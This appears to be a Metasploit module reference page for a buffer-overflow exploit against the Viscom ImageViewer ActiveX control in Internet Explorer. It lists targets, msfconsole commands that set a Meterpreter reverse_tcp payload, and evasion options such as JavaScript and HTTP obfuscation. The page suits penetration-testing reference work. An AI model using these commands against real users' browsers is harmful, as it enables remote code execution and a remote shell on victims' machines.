Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control
This module exploits a stack based buffer overflow in the Active control file ImageViewer2.OCX by passing a overly long argument to an insecure TifMergeMultiFiles() method. Exploitation results in code execution with the privileges of the user who browsed to the exploit page. The victim will first be required to trust the publisher Viscom Software. This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7 with Java support.
Exploit Rank
- Normal
Exploit Authors
- Dr_IDE < >
- TecR0c < roccogiovannicalvi [at] gmail.com >
- mr_me < steventhomasseeley [at] gmail.com >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
- 1 - Internet Explorer 6/7
- 2 - Internet Explorer 8 with JRE
Exploit Development
Similar Exploit Modules
- exploit/windows/browser/adobe_cooltype_sing
- exploit/windows/browser/adobe_flash_mp4_cprt
- exploit/windows/browser/adobe_flash_sps
- exploit/windows/browser/adobe_flashplayer_avm
- exploit/windows/browser/adobe_flashplayer_flash10o
- exploit/windows/browser/adobe_flashplayer_newfunction
- exploit/windows/browser/adobe_flatedecode_predictor02
- exploit/windows/browser/adobe_geticon
- exploit/windows/browser/adobe_jbig2decode
- exploit/windows/browser/adobe_media_newplayer
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/browser/imgeviewer_tifmergemultifiles
msf exploit(imgeviewer_tifmergemultifiles) > show payloads
msf exploit(imgeviewer_tifmergemultifiles) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(imgeviewer_tifmergemultifiles) > set LHOST [MY IP ADDRESS]
msf exploit(imgeviewer_tifmergemultifiles) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/browser/imgeviewer_tifmergemultifiles
msf exploit(imgeviewer_tifmergemultifiles) > show payloads
msf exploit(imgeviewer_tifmergemultifiles) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(imgeviewer_tifmergemultifiles) > set LHOST [MY IP ADDRESS]
msf exploit(imgeviewer_tifmergemultifiles) > exploit
Exploit Module Options
| OBFUSCATE | Enable JavaScript Obfuscation (default: true) |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
